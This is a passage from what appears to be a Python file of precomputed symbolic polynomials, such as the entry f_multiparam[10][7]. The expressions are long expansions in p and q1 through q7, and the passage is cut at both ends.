10*q1**3*q2**2*q3*q4*q5**2 - 10*q1**3*q2**2*q3*q4*q5*q6 + 90*q1**3*q2**2*q3*q4*q5 - 10*q1**3*q2*q3**3*q4*q5 - 10*q1**3*q2*q3**2*q4**2*q5 - 10*q1**3*q2*q3**2*q4*q5**2 - 10*q1**3*q2*q3**2*q4*q5*q6 + 90*q1**3*q2*q3**2*q4*q5 - 10*q1**3*q2*q3*q4**3*q5 - 10*q1**3*q2*q3*q4**2*q5**2 - 10*q1**3*q2*q3*q4**2*q5*q6 + 90*q1**3*q2*q3*q4**2*q5 - 10*q1**3*q2*q3*q4*q5**3 - 10*q1**3*q2*q3*q4*q5**2*q6 + 90*q1**3*q2*q3*q4*q5**2 - 10*q1**3*q2*q3*q4*q5*q6**2 + 90*q1**3*q2*q3*q4*q5*q6 - 360*q1**3*q2*q3*q4*q5 - 10*q1**2*q2**4*q3*q4*q5 - 10*q1**2*q2**3*q3**2*q4*q5 - 10*q1**2*q2**3*q3*q4**2*q5 - 10*q1**2*q2**3*q3*q4*q5**2 - 10*q1**2*q2**3*q3*q4*q5*q6 + 90*q1**2*q2**3*q3*q4*q5 - 10*q1**2*q2**2*q3**3*q4*q5 - 10*q1**2*q2**2*q3**2*q4**2*q5 - 10*q1**2*q2**2*q3**2*q4*q5**2 - 10*q1**2*q2**2*q3**2*q4*q5*q6 + 90*q1**2*q2**2*q3**2*q4*q5 - 10*q1**2*q2**2*q3*q4**3*q5 - 10*q1**2*q2**2*q3*q4**2*q5**2 - 10*q1**2*q2**2*q3*q4**2*q5*q6 + 90*q1**2*q2**2*q3*q4**2*q5 - 10*q1**2*q2**2*q3*q4*q5**3 - 10*q1**2*q2**2*q3*q4*q5**2*q6 + 90*q1**2*q2**2*q3*q4*q5**2 - 10*q1**2*q2**2*q3*q4*q5*q6**2 + 90*q1**2*q2**2*q3*q4*q5*q6 - 360*q1**2*q2**2*q3*q4*q5 - 10*q1**2*q2*q3**4*q4*q5 - 10*q1**2*q2*q3**3*q4**2*q5 - 10*q1**2*q2*q3**3*q4*q5**2 - 10*q1**2*q2*q3**3*q4*q5*q6 + 90*q1**2*q2*q3**3*q4*q5 - 10*q1**2*q2*q3**2*q4**3*q5 - 10*q1**2*q2*q3**2*q4**2*q5**2 - 10*q1**2*q2*q3**2*q4**2*q5*q6 + 90*q1**2*q2*q3**2*q4**2*q5 - 10*q1**2*q2*q3**2*q4*q5**3 - 10*q1**2*q2*q3**2*q4*q5**2*q6 + 90*q1**2*q2*q3**2*q4*q5**2 - 10*q1**2*q2*q3**2*q4*q5*q6**2 + 90*q1**2*q2*q3**2*q4*q5*q6 - 360*q1**2*q2*q3**2*q4*q5 - 10*q1**2*q2*q3*q4**4*q5 - 10*q1**2*q2*q3*q4**3*q5**2 - 10*q1**2*q2*q3*q4**3*q5*q6 + 90*q1**2*q2*q3*q4**3*q5 - 10*q1**2*q2*q3*q4**2*q5**3 - 10*q1**2*q2*q3*q4**2*q5**2*q6 + 90*q1**2*q2*q3*q4**2*q5**2 - 10*q1**2*q2*q3*q4**2*q5*q6**2 + 90*q1**2*q2*q3*q4**2*q5*q6 - 360*q1**2*q2*q3*q4**2*q5 - 10*q1**2*q2*q3*q4*q5**4 - 10*q1**2*q2*q3*q4*q5**3*q6 + 90*q1**2*q2*q3*q4*q5**3 - 10*q1**2*q2*q3*q4*q5**2*q6**2 + 90*q1**2*q2*q3*q4*q5**2*q6 - 360*q1**2*q2*q3*q4*q5**2 - 10*q1**2*q2*q3*q4*q5*q6**3 + 90*q1**2*q2*q3*q4*q5*q6**2 - 360*q1**2*q2*q3*q4*q5*q6 + 840*q1**2*q2*q3*q4*q5 - 10*q1*q2**5*q3*q4*q5 - 10*q1*q2**4*q3**2*q4*q5 - 10*q1*q2**4*q3*q4**2*q5 - 10*q1*q2**4*q3*q4*q5**2 - 10*q1*q2**4*q3*q4*q5*q6 + 90*q1*q2**4*q3*q4*q5 - 10*q1*q2**3*q3**3*q4*q5 - 10*q1*q2**3*q3**2*q4**2*q5 - 10*q1*q2**3*q3**2*q4*q5**2 - 10*q1*q2**3*q3**2*q4*q5*q6 + 90*q1*q2**3*q3**2*q4*q5 - 10*q1*q2**3*q3*q4**3*q5 - 10*q1*q2**3*q3*q4**2*q5**2 - 10*q1*q2**3*q3*q4**2*q5*q6 + 90*q1*q2**3*q3*q4**2*q5 - 10*q1*q2**3*q3*q4*q5**3 - 10*q1*q2**3*q3*q4*q5**2*q6 + 90*q1*q2**3*q3*q4*q5**2 - 10*q1*q2**3*q3*q4*q5*q6**2 + 90*q1*q2**3*q3*q4*q5*q6 - 360*q1*q2**3*q3*q4*q5 - 10*q1*q2**2*q3**4*q4*q5 - 10*q1*q2**2*q3**3*q4**2*q5 - 10*q1*q2**2*q3**3*q4*q5**2 - 10*q1*q2**2*q3**3*q4*q5*q6 + 90*q1*q2**2*q3**3*q4*q5 - 10*q1*q2**2*q3**2*q4**3*q5 - 10*q1*q2**2*q3**2*q4**2*q5**2 - 10*q1*q2**2*q3**2*q4**2*q5*q6 + 90*q1*q2**2*q3**2*q4**2*q5 - 10*q1*q2**2*q3**2*q4*q5**3 - 10*q1*q2**2*q3**2*q4*q5**2*q6 + 90*q1*q2**2*q3**2*q4*q5**2 - 10*q1*q2**2*q3**2*q4*q5*q6**2 + 90*q1*q2**2*q3**2*q4*q5*q6 - 360*q1*q2**2*q3**2*q4*q5 - 10*q1*q2**2*q3*q4**4*q5 - 10*q1*q2**2*q3*q4**3*q5**2 - 10*q1*q2**2*q3*q4**3*q5*q6 + 90*q1*q2**2*q3*q4**3*q5 - 10*q1*q2**2*q3*q4**2*q5**3 - 10*q1*q2**2*q3*q4**2*q5**2*q6 + 90*q1*q2**2*q3*q4**2*q5**2 - 10*q1*q2**2*q3*q4**2*q5*q6**2 + 90*q1*q2**2*q3*q4**2*q5*q6 - 360*q1*q2**2*q3*q4**2*q5 - 10*q1*q2**2*q3*q4*q5**4 - 10*q1*q2**2*q3*q4*q5**3*q6 + 90*q1*q2**2*q3*q4*q5**3 - 10*q1*q2**2*q3*q4*q5**2*q6**2 + 90*q1*q2**2*q3*q4*q5**2*q6 - 360*q1*q2**2*q3*q4*q5**2 - 10*q1*q2**2*q3*q4*q5*q6**3 + 90*q1*q2**2*q3*q4*q5*q6**2 - 360*q1*q2**2*q3*q4*q5*q6 + 840*q1*q2**2*q3*q4*q5 - 10*q1*q2*q3**5*q4*q5 - 10*q1*q2*q3**4*q4**2*q5 - 10*q1*q2*q3**4*q4*q5**2 - 10*q1*q2*q3**4*q4*q5*q6 + 90*q1*q2*q3**4*q4*q5 - 10*q1*q2*q3**3*q4**3*q5 - 10*q1*q2*q3**3*q4**2*q5**2 - 10*q1*q2*q3**3*q4**2*q5*q6 + 90*q1*q2*q3**3*q4**2*q5 - 10*q1*q2*q3**3*q4*q5**3 - 10*q1*q2*q3**3*q4*q5**2*q6 + 90*q1*q2*q3**3*q4*q5**2 - 10*q1*q2*q3**3*q4*q5*q6**2 + 90*q1*q2*q3**3*q4*q5*q6 - 360*q1*q2*q3**3*q4*q5 - 10*q1*q2*q3**2*q4**4*q5 - 10*q1*q2*q3**2*q4**3*q5**2 - 10*q1*q2*q3**2*q4**3*q5*q6 + 90*q1*q2*q3**2*q4**3*q5 - 10*q1*q2*q3**2*q4**2*q5**3 - 10*q1*q2*q3**2*q4**2*q5**2*q6 + 90*q1*q2*q3**2*q4**2*q5**2 - 10*q1*q2*q3**2*q4**2*q5*q6**2 + 90*q1*q2*q3**2*q4**2*q5*q6 - 360*q1*q2*q3**2*q4**2*q5 - 10*q1*q2*q3**2*q4*q5**4 - 10*q1*q2*q3**2*q4*q5**3*q6 + 90*q1*q2*q3**2*q4*q5**3 - 10*q1*q2*q3**2*q4*q5**2*q6**2 + 90*q1*q2*q3**2*q4*q5**2*q6 - 360*q1*q2*q3**2*q4*q5**2 - 10*q1*q2*q3**2*q4*q5*q6**3 + 90*q1*q2*q3**2*q4*q5*q6**2 - 360*q1*q2*q3**2*q4*q5*q6 + 840*q1*q2*q3**2*q4*q5 - 10*q1*q2*q3*q4**5*q5 - 10*q1*q2*q3*q4**4*q5**2 - 10*q1*q2*q3*q4**4*q5*q6 + 90*q1*q2*q3*q4**4*q5 - 10*q1*q2*q3*q4**3*q5**3 - 10*q1*q2*q3*q4**3*q5**2*q6 + 90*q1*q2*q3*q4**3*q5**2 - 10*q1*q2*q3*q4**3*q5*q6**2 + 90*q1*q2*q3*q4**3*q5*q6 - 360*q1*q2*q3*q4**3*q5 - 10*q1*q2*q3*q4**2*q5**4 - 10*q1*q2*q3*q4**2*q5**3*q6 + 90*q1*q2*q3*q4**2*q5**3 - 10*q1*q2*q3*q4**2*q5**2*q6**2 + 90*q1*q2*q3*q4**2*q5**2*q6 - 360*q1*q2*q3*q4**2*q5**2 - 10*q1*q2*q3*q4**2*q5*q6**3 + 90*q1*q2*q3*q4**2*q5*q6**2 - 360*q1*q2*q3*q4**2*q5*q6 + 840*q1*q2*q3*q4**2*q5 - 10*q1*q2*q3*q4*q5**5 - 10*q1*q2*q3*q4*q5**4*q6 + 90*q1*q2*q3*q4*q5**4 - 10*q1*q2*q3*q4*q5**3*q6**2 + 90*q1*q2*q3*q4*q5**3*q6 - 360*q1*q2*q3*q4*q5**3 - 10*q1*q2*q3*q4*q5**2*q6**3 + 90*q1*q2*q3*q4*q5**2*q6**2 - 360*q1*q2*q3*q4*q5**2*q6 + 840*q1*q2*q3*q4*q5**2 - 10*q1*q2*q3*q4*q5*q6**4 + 90*q1*q2*q3*q4*q5*q6**3 - 360*q1*q2*q3*q4*q5*q6**2 + 840*q1*q2*q3*q4*q5*q6 - 1260*q1*q2*q3*q4*q5)' f_multiparam[10][7] = 'p*(p - 1)**3*(10*p**6*q1**4*q2*q3*q4*q5*q6 + 10*p**6*q1**3*q2**2*q3*q4*q5*q6 + 10*p**6*q1**3*q2*q3**2*q4*q5*q6 + 10*p**6*q1**3*q2*q3*q4**2*q5*q6 + 10*p**6*q1**3*q2*q3*q4*q5**2*q6 + 10*p**6*q1**3*q2*q3*q4*q5*q6**2 + 10*p**6*q1**3*q2*q3*q4*q5*q6*q7 - 90*p**6*q1**3*q2*q3*q4*q5*q6 + 10*p**6*q1**2*q2**3*q3*q4*q5*q6 + 10*p**6*q1**2*q2**2*q3**2*q4*q5*q6 + 10*p**6*q1**2*q2**2*q3*q4**2*q5*q6 + 10*p**6*q1**2*q2**2*q3*q4*q5**2*q6 + 10*p**6*q1**2*q2**2*q3*q4*q5*q6**2 + 10*p**6*q1**2*q2**2*q3*q4*q5*q6*q7 - 90*p**6*q1**2*q2**2*q3*q4*q5*q6 + 10*p**6*q1**2*q2*q3**3*q4*q5*q6 + 10*p**6*q1**2*q2*q3**2*q4**2*q5*q6 + 10*p**6*q1**2*q2*q3**2*q4*q5**2*q6 + 10*p**6*q1**2*q2*q3**2*q4*q5*q6**2 + 10*p**6*q1**2*q2*q3**2*q4*q5*q6*q7 - 90*p**6*q1**2*q2*q3**2*q4*q5*q6 + 10*p**6*q1**2*q2*q3*q4**3*q5*q6 + 10*p**6*q1**2*q2*q3*q4**2*q5**2*q6 + 10*p**6*q1**2*q2*q3*q4**2*q5*q6**2 + 10*p**6*q1**2*q2*q3*q4**2*q5*q6*q7 - 90*p**6*q1**2*q2*q3*q4**2*q5*q6 + 10*p**6*q1**2*q2*q3*q4*q5**3*q6 + 10*p**6*q1**2*q2*q3*q4*q5**2*q6**2 + 10*p**6*q1**2*q2*q3*q4*q5**2*q6*q7 - 90*p**6*q1**2*q2*q3*q4*q5**2*q6 + 10*p**6*q1**2*q2*q3*q4*q5*q6**3 + 10*p**6*q1**2*q2*q3*q4*q5*q6**2*q7 - 90*p**6*q1**2*q2*q3*q4*q5*q6**2 + 10*p**6*q1**2*q2*q3*q4*q5*q6*q7**2 - 90*p**6*q1**2*q2*q3*q4*q5*q6*q7 + 360*p**6*q1**2*q2*q3*q4*q5*q6 + 10*p**6*q1*q2**4*q3*q4*q5*q6 + 10*p**6*q1*q2**3*q3**2*q4*q5*q6 + 10*p**6*q1*q2**3*q3*q4**2*q5*q6 + 10*p**6*q1*q2**3*q3*q4*q5**2*q6 + 10*p**6*q1*q2**3*q3*q4*q5*q6**2 + 10*p**6*q1*q2**3*q3*q4*q5*q6*q7 - 90*p**6*q1*q2**3*q3*q4*q5*q6 + 10*p**6*q1*q2**2*q3**3*q4*q5*q6 + 10*p**6*q1*q2**2*q3**2*q4**2*q5*q6 + 10*p**6*q1*q2**2*q3**2*q4*q5**2*q6 + 10*p**6*q1*q2**2*q3**2*q4*q5*q6**2 + 10*p**6*q1*q2**2*q3**2*q4*q5*q6*q7 - 90*p**6*q1*q2**2*q3**2*q4*q5*q6 + 10*p**6*q1*q2**2*q3*q4**3*q5*q6 + 10*p**6*q1*q2**2*q3*q4**2*q5**2*q6 + 10*p**6*q1*q2**2*q3*q4**2*q5*q6**2 + 10*p**6*q1*q2**2*q3*q4**2*q5*q6*q7 - 90*p**6*q1*q2**2*q3*q4**2*q5*q6 + 10*p**6*q1*q2**2*q3*q4*q5**3*q6 + 10*p**6*q1*q2**2*q3*q4*q5**2*q6**2 + 10*p**6*q1*q2**2*q3*q4*q5**2*q6*q7 - 90*p**6*q1*q2**2*q3*q4*q5**2*q6 + 10*p**6*q1*q2**2*q3*q4*q5*q6**3 + 10*p**6*q1*q2**2*q3*q4*q5*q6**2*q7 - 90*p**6*q1*q2**2*q3*q4*q5*q6**2 + 10*p**6*q1*q2**2*q3*q4*q5*q6*q7**2 - 90*p**6*q1*q2**2*q3*q4*q5*q6*q7 + 360*p**6*q1*q2**2*q3*q4*q5*q6 + 10*p**6*q1*q2*q3**4*q4*q5*q6 + 10*p**6*q1*q2*q3**3*q4**2*q5*q6 + 10*p**6*q1*q2*q3**3*q4*q5**2*q6 + 10*p**6*q1*q2*q3**3*q4*q5*q6**2 + 10*p**6*q1*q2*q3**3*q4*q5*q6*q7 - 90*p**6*q1*q2*q3**3*q4*q5*q6 + 10*p**6*q1*q2*q3**2*q4**3*q5*q6 + 10*p**6*q1*q2*q3**2*q4**2*q5**2*q6 + 10*p**6*q1*q2*q3**2*q4**2*q5*q6**2 + 10*p**6*q1*q2*q3**2*q4**2*q5*q6*q7 - 90*p**6*q1*q2*q3**2*q4**2*q5*q6 + 10*p**6*q1*q2*q3**2*q4*q5**3*q6 + 10*p**6*q1*q2*q3**2*q4*q5**2*q6**2 + 10*p**6*q1*q2*q3**2*q4*q5**2*q6*q7 - 90*p**6*q1*q2*q3**2*q4*q5**2*q6 + 10*p**6*q1*q2*q3**2*q4*q5*q6**3 + 10*p**6*q1*q2*q3**2*q4*q5*q6**2*q7 - 90*p**6*q1*q2*q3**2*q4*q5*q6**2 + 10*p**6*q1*q2*q3**2*q4*q5*q6*q7**2 - 90*p**6*q1*q2*q3**2*q4*q5*q6*q7 + 360*p**6*q1*q2*q3**2*q4*q5*q6 + 10*p**6*q1*q2*q3*q4**4*q5*q6 + 10*p**6*q1*q2*q3*q4**3*q5**2*q6 + 10*p**6*q1*q2*q3*q4**3*q5*q6**2 + 10*p**6*q1*q2*q3*q4**3*q5*q6*q7 - 90*p**6*q1*q2*q3*q4**3*q5*q6 + 10*p**6*q1*q2*q3*q4**2*q5**3*q6 + 10*p**6*q1*q2*q3*q4**2*q5**2*q6**2 + 10*p**6*q1*q2*q3*q4**2*q5**2*q6*q7 - 90*p**6*q1*q2*q3*q4**2*q5**2*q6 + 10*p**6*q1*q2*q3*q4**2*q5*q6**3 + 10*p**6*q1*q2*q3*q4**2*q5*q6**2*q7 - 90*p**6*q1*q2*q3*q4**2*q5*q6**2 + 10*p**6*q1*q2*q3*q4**2*q5*q6*q7**2 - 90*p**6*q1*q2*q3*q4**2*q5*q6*q7 + 360*p**6*q1*q2*q3*q4**2*q5*q6 + 10*p**6*q1*q2*q3*q4*q5**4*q6 + 10*p**6*q1*q2*q3*q4*q5**3*q6**2 + 10*p**6*q1*q2*q3*q4*q5**3*q6*q7 - 90*p**6*q1*q2*q3*q4*q5**3*q6 + 10*p**6*q1*q2*q3*q4*q5**2*q6**3 + 10*p**6*q1*q2*q3*q4*q5**2*q6**2*q7 - 90*p**6*q1*q2*q3*q4*q5**2*q6**2 + 10*p**6*q1*q2*q3*q4*q5**2*q6*q7**2 - 90*p**6*q1*q2*q3*q4*q5**2*q6*q7 + 360*p**6*q1*q2*q3*q4*q5**2*q6 + 10*p**6*q1*q2*q3*q4*q5*q6**4 + 10*p**6*q1*q2*q3*q4*q5*q6**3*q7 - 90*p**6*q1*q2*q3*q4*q5*q6**3 + 10*p**6*q1*q2*q3*q4*q5*q6**2*q7**2 - 90*p**6*q1*q2*q3*q4*q5*q6**2*q7 + 360*p**6*q1*q2*q3*q4*q5*q6**2 + 10*p**6*q1*q2*q3*q4*q5*q6*q7**3 - 90*p**6*q1*q2*q3*q4*q5*q6*q7**2 + 360*p**6*q1*q2*q3*q4*q5*q6*q7 - 840*p**6*q1*q2*q3*q4*q5*q6 - 45*p**6*q2**4*q3*q4*q5*q6 - 45*p**6*q2**3*q3**2*q4*q5*q6 - 45*p**6*q2**3*q3*q4**2*q5*q6 - 45*p**6*q2**3*q3*q4*q5**2*q6 - 45*p**6*q2**3*q3*q4*q5*q6**2 - 45*p**6*q2**3*q3*q4*q5*q6*q7 + 360*p**6*q2**3*q3*q4*q5*q6 - 45*p**6*q2**2*q3**3*q4*q5*q6 - 45*p**6*q2**2*q3**2*q4**2*q5*q6 - 45*p**6*q2**2*q3**2*q4*q5**2*q6 - 45*p**6*q2**2*q3**2*q4*q5*q6**2 - 45*p**6*q2**2*q3**2*q4*q5*q6*q7 + 360*p**6*q2**2*q3**2*q4*q5*q6 - 45*p**6*q2**2*q3*q4**3*q5*q6 - 45*p**6*q2**2*q3*q4**2*q5**2*q6 - 45*p**6*q2**2*q3*q4**2*q5*q6**2 - 45*p**6*q2**2*q3*q4**2*q5*q6*q7 + 360*p**6*q2**2*q3*q4**2*q5*q6 - 45*p**6*q2**2*q3*q4*q5**3*q6 - 45*p**6*q2**2*q3*q4*q5**2*q6**2 - 45*p**6*q2**2*q3*q4*q5**2*q6*q7 + 360*p**6*q2**2*q3*q4*q5**2*q6 - 45*p**6*q2**2*q3*q4*q5*q6**3 - 45*p**6*q2**2*q3*q4*q5*q6**2*q7 + 360*p**6*q2**2*q3*q4*q5*q6**2 - 45*p**6*q2**2*q3*q4*q5*q6*q7**2 + 360*p**6*q2**2*q3*q4*q5*q6*q7 - 1260*p**6*q2**2*q3*q4*q5*q6 - 45*p**6*q2*q3**4*q4*q5*q6 - 45*p**6*q2*q3**3*q4**2*q5*q6 - 45*p**6*q2*q3**3*q4*q5**2*q6 - 45*p**6*q2*q3**3*q4*q5*q6**2 - 45*p**6*q2*q3**3*q4*q5*q6*q7 + 360*p**6*q2*q3**3*q4*q5*q6 - 45*p**6*q2*q3**2*q4**3*q5*q6 - 45*p**6*q2*q3**2*q4**2*q5**2*q6 - 45*p**6*q2*q3**2*q4**2*q5*q6**2 - 45*p**6*q2*q3**2*q4**2*q5*q6*q7 + 360*p**6*q2*q3**2*q4**2*q5*q6 - 45*p**6*q2*q3**2*q4*q5**3*q6 - 45*p**6*q2*q3**2*q4*q5**2*q6**2 - 45*p**6*q2*q3**2*q4*q5**2*q6*q7 + 360*p**6*q2*q3**2*q4*q5**2*q6 - 45*p**6*q2*q3**2*q4*q5*q6**3 - 45*p**6*q2*q3**2*q4*q5*q6**2*q7 + 360*p**6*q2*q3**2*q4*q5*q6**2 - 45*p**6*q2*q3**2*q4*q5*q6*q7**2 + 360*p**6*q2*q3**2*q4*q5*q6*q7 - 1260*p**6*q2*q3**2*q4*q5*q6 - 45*p**6*q2*q3*q4**4*q5*q6 - 45*p**6*q2*q3*q4**3*q5**2*q6 - 45*p**6*q2*q3*q4**3*q5*q6**2 - 45*p**6*q2*q3*q4**3*q5*q6*q7 + 360*p**6*q2*q3*q4**3*q5*q6 - 45*p**6*q2*q3*q4**2*q5**3*q6 - 45*p**6*q2*q3*q4**2*q5**2*q6**2 - 45*p**6*q2*q3*q4**2*q5**2*q6*q7 + 360*p**6*q2*q3*q4**2*q5**2*q6 - 45*p**6*q2*q3*q4**2*q5*q6**3 - 45*p**6*q2*q3*q4**2*q5*q6**2*q7 + 360*p**6*q2*q3*q4**2*q5*q6**2 - 45*p**6*q2*q3*q4**2*q5*q6*q7**2 + 360*p**6*q2*q3*q4**2*q5*q6*q7 - 1260*p**6*q2*q3*q4**2*q5*q6 - 45*p**6*q2*q3*q4*q5**4*q6 - 45*p**6*q2*q3*q4*q5**3*q6**2 - 45*p**6*q2*q3*q4*q5**3*q6*q7 + 360*p**6*q2*q3*q4*q5**3*q6 - 45*p**6*q2*q3*q4*q5**2*q6**3 - 45*p**6*q2*q3*q4*q5**2*q6**2*q7 + 360*p**6*q2*q3*q4*q5**2*q6**2 - 45*p**6*q2*q3*q4*q5**2*q6*q7**2 + 360*p**6*q2*q3*q4*q5**2*q6*q7 - 1260*p**6*q2*q3*q4*q5**2*q6 - 45*p**6*q2*q3*q4*q5*q6**4 - 45*p**6*q2*q3*q4*q5*q6**3*q7 + 360*p**6*q2*q3*q4*q5*q6**3 - 45*p**6*q2*q3*q4*q5*q6**2*q7**2 + 360*p**6*q2*q3*q4*q5*q6**2*q7 - 1260*p**6*q2*q3*q4*q5*q6**2 - 45*p**6*q2*q3*q4*q5*q6*q7**3 + 360*p**6*q2*q3*q4*q5*q6*q7**2 - 1260*p**6*q2*q3*q4*q5*q6*q7 + 2520*p**6*q2*q3*q4*q5*q6 + 120*p**6*q3**4*q4*q5*q6 + 120*p**6*q3**3*q4**2*q5*q6 + 120*p**6*q3**3*q4*q5**2*q6 + 120*p**6*q3**3*q4*q5*q6**2 + 120*p**6*q3**3*q4*q5*q6*q7 - 840*p**6*q3**3*q4*q5*q6 + 120*p**6*q3**2*q4**3*q5*q6 + 120*p**6*q3**2*q4**2*q5**2*q6 + 120*p**6*q3**2*q4**2*q5*q6**2 + 120*p**6*q3**2*q4**2*q5*q6*q7 - 840*p**6*q3**2*q4**2*q5*q6 + 120*p**6*q3**2*q4*q5**3*q6 + 120*p**6*q3**2*q4*q5**2*q6**2 + 120*p**6*q3**2*q4*q5**2*q6*q7 - 840*p**6*q3**2*q4*q5**2*q6 + 120*p**6*q3**2*q4*q5*q6**3 + 120*p**6*q3**2*q4*q5*q6**2*q7 - 840*p**6*q3**2*q4*q5*q6**2 + 120*p**6*q3**2*q4*q5*q6*q7**2 - 840*p**6*q3**2*q4*q5*q6*q7 + 2520*p**6*q3**2*q4*q5*q6 + 120*p**6*q3*q4**4*q5*q6 + 120*p**6*q3*q4**3*q5**2*q6 + 120*p**6*q3*q4**3*q5*q6**2 + 120*p**6*q3*q4**3*q5*q6*q7 - 840*p**6*q3*q4**3*q5*q6 + 120*p**6*q3*q4**2*q5**3*q6 + 120*p**6*q3*q4**2*q5**2*q6**2 + 120*p**6*q3*q4**2*q5**2*q6*q7 - 840*p**6*q3*q4**2*q5**2*q6 + 120*p**6*q3*q4**2*q5*q6**3 + 120*p**6*q3*q4**2*q5*q6**2*q7 - 840*p**6*q3*q4**2*q5*q6**2 + 120*p**6*q3*q4**2*q5*q6*q7**2 - 840*p**6*q3*q4**2*q5*q6*q7 + 2520*p**6*q3*q4**2*q5*q6 + 120*p**6*q3*q4*q5**4*q6 + 120*p**6*q3*q4*q5**3*q6**2 + 120*p**6*q3*q4*q5**3*q6*q7 - 840*p**6*q3*q4*q5**3*q6 + 120*p**6*q3*q4*q5**2*q6**3 + 120*p**6*q3*q4*q5**2*q6**2*q7 - 840*p**6*q3*q4*q5**2*q6**2 + 120*p**6*q3*q4*q5**2*q6*q7**2 - 840*p**6*q3*q4*q5**2*q6*q7 + 2520*p**6*q3*q4*q5**2*q6 + 120*p**6*q3*q4*q5*q6**4 + 120*p**6*q3*q4*q5*q6**3*q7 - 840*p**6*q3*q4*q5*q6**3 + 120*p**6*q3*q4*q5*q6**2*q7**2 - 840*p**6*q3*q4*q5*q6**2*q7 + 2520*p**6*q3*q4*q5*q6**2 + 120*p**6*q3*q4*q5*q6*q7**3 - 840*p**6*q3*q4*q5*q6*q7**2 + 2520*p**6*q3*q4*q5*q6*q7 - 4200*p**6*q3*q4*q5*q6 - 210*p**6*q4**4*q5*q6 - 210*p**6*q4**3*q5**2*q6 - 210*p**6*q4**3*q5*q6**2 - 210*p**6*q4**3*q5*q6*q7 + 1260*p**6*q4**3*q5*q6 - 210*p**6*q4**2*q5**3*q6 - 210*p**6*q4**2*q5**2*q6**2 - 210*p**6*q4**2*q5**2*q6*q7 + 1260*p**6*q4**2*q5**2*q6 - 210*p**6*q4**2*q5*q6**3 - 210*p**6*q4**2*q5*q6**2*q7 + 1260*p**6*q4**2*q5*q6**2 - 210*p**6*q4**2*q5*q6*q7**2 + 1260*p**6*q4**2*q5*q6*q7 - 3150*p**6*q4**2*q5*q6 - 210*p**6*q4*q5**4*q6 - 210*p**6*q4*q5**3*q6**2 - 210*p**6*q4*q5**3*q6*q7 + 1260*p**6*q4*q5**3*q6 - 210*p**6*q4*q5**2*q6**3 - 210*p**6*q4*q5**2*q6**2*q7 + 1260*p**6*q4*q5**2*q6**2 - 210*p**6*q4*q5**2*q6*q7**2 + 1260*p**6*q4*q5**2*q6*q7 - 3150*p**6*q4*q5**2*q6 - 210*p**6*q4*q5*q6**4 - 210*p**6*q4*q5*q6**3*q7 + 1260*p**6*q4*q5*q6**3 - 210*p**6*q4*q5*q6**2*q7**2 + 1260*p**6*q4*q5*q6**2*q7 - 3150*p**6*q4*q5*q6**2 - 210*p**6*q4*q5*q6*q7**3 + 1260*p**6*q4*q5*q6*q7**2 - 3150*p**6*q4*q5*q6*q7 + 4200*p**6*q4*q5*q6 + 252*p**6*q5**4*q6 + 252*p**6*q5**3*q6**2 + 252*p**6*q5**3*q6*q7 - 1260*p**6*q5**3*q6 + 252*p**6*q5**2*q6**3 + 252*p**6*q5**2*q6**2*q7 - 1260*p**6*q5**2*q6**2 + 252*p**6*q5**2*q6*q7**2 - 1260*p**6*q5**2*q6*q7 + 2520*p**6*q5**2*q6 + 252*p**6*q5*q6**4 + 252*p**6*q5*q6**3*q7 - 1260*p**6*q5*q6**3 + 252*p**6*q5*q6**2*q7**2 - 1260*p**6*q5*q6**2*q7 + 2520*p**6*q5*q6**2 + 252*p**6*q5*q6*q7**3 - 1260*p**6*q5*q6*q7**2 + 2520*p**6*q5*q6*q7 - 2520*p**6*q5*q6 - 210*p**6*q6**4 - 210*p**6*q6**3*q7 + 840*p**6*q6**3 - 210*p**6*q6**2*q7**2 + 840*p**6*q6**2*q7 - 1260*p**6*q6**2 - 210*p**6*q6*q7**3 + 840*p**6*q6*q7**2 - 1260*p**6*q6*q7 + 840*p**6*q6 + 120*p**6*q7**3 - 360*p**6*q7**2 + 360*p**6*q7 - 120*p**6 - 60*p**5*q1**4*q2*q3*q4*q5*q6 - 60*p**5*q1**3*q2**2*q3*q4*q5*q6 - 60*p**5*q1**3*q2*q3**2*q4*q5*q6 - 60*p**5*q1**3*q2*q3*q4**2*q5*q6 - 60*p**5*q1**3*q2*q3*q4*q5**2*q6 - 60*p**5*q1**3*q2*q3*q4*q5*q6**2 - 60*p**5*q1**3*q2*q3*q4*q5*q6*q7 + 540*p**5*q1**3*q2*q3*q4*q5*q6 - 60*p**5*q1**2*q2**3*q3*q4*q5*q6 - 60*p**5*q1**2*q2**2*q3**2*q4*q5*q6 - 60*p**5*q1**2*q2**2*q3*q4**2*q5*q6 - 60*p**5*q1**2*q2**2*q3*q4*q5**2*q6 - 60*p**5*q1**2*q2**2*q3*q4*q5*q6**2 - 60*p**5*q1**2*q2**2*q3*q4*q5*q6*q7 + 540*p**5*q1**2*q2**2*q3*q4*q5*q6 - 60*p**5*q1**2*q2*q3**3*q4*q5*q6 - 60*p**5*q1**2*q2*q3**2*q4**2*q5*q6 - 60*p**5*q1**2*q2*q3**2*q4*q5**2*q6 - 60*p**5*q1**2*q2*q3**2*q4*q5*q6**2 - 60*p**5*q1**2*q2*q3**2*q4*q5*q6*q7 + 540*p**5*q1**2*q2*q3**2*q4*q5*q6 - 60*p**5*q1**2*q2*q3*q4**3*q5*q6 - 60*p**5*q1**2*q2*q3*q4**2*q5**2*q6 - 60*p**5*q1**2*q2*q3*q4**2*q5*q6**2 - 60*p**5*q1**2*q2*q3*q4**2*q5*q6*q7 + 540*p**5*q1**2*q2*q3*q4**2*q5*q6 - 60*p**5*q1**2*q2*q3*q4*q5**3*q6 - 60*p**5*q1**2*q2*q3*q4*q5**2*q6**2 - 60*p**5*q1**2*q2*q3*q4*q5**2*q6*q7 + 540*p**5*q1**2*q2*q3*q4*q5**2*q6 - 60*p**5*q1**2*q2*q3*q4*q5*q6**3 - 60*p**5*q1**2*q2*q3*q4*q5*q6**2*q7 + 540*p**5*q1**2*q2*q3*q4*q5*q6**2 - 60*p**5*q1**2*q2*q3*q4*q5*q6*q7**2 + 540*p**5*q1**2*q2*q3*q4*q5*q6*q7 - 2160*p**5*q1**2*q2*q3*q4*q5*q6 - 60*p**5*q1*q2**4*q3*q4*q5*q6 - 60*p**5*q1*q2**3*q3**2*q4*q5*q6 - 60*p**5*q1*q2**3*q3*q4**2*q5*q6 - 60*p**5*q1*q2**3*q3*q4*q5**2*q6 - 60*p**5*q1*q2**3*q3*q4*q5*q6**2 - 60*p**5*q1*q2**3*q3*q4*q5*q6*q7 + 540*p**5*q1*q2**3*q3*q4*q5*q6 - 60*p**5*q1*q2**2*q3**3*q4*q5*q6 - 60*p**5*q1*q2**2*q3**2*q4**2*q5*q6 - 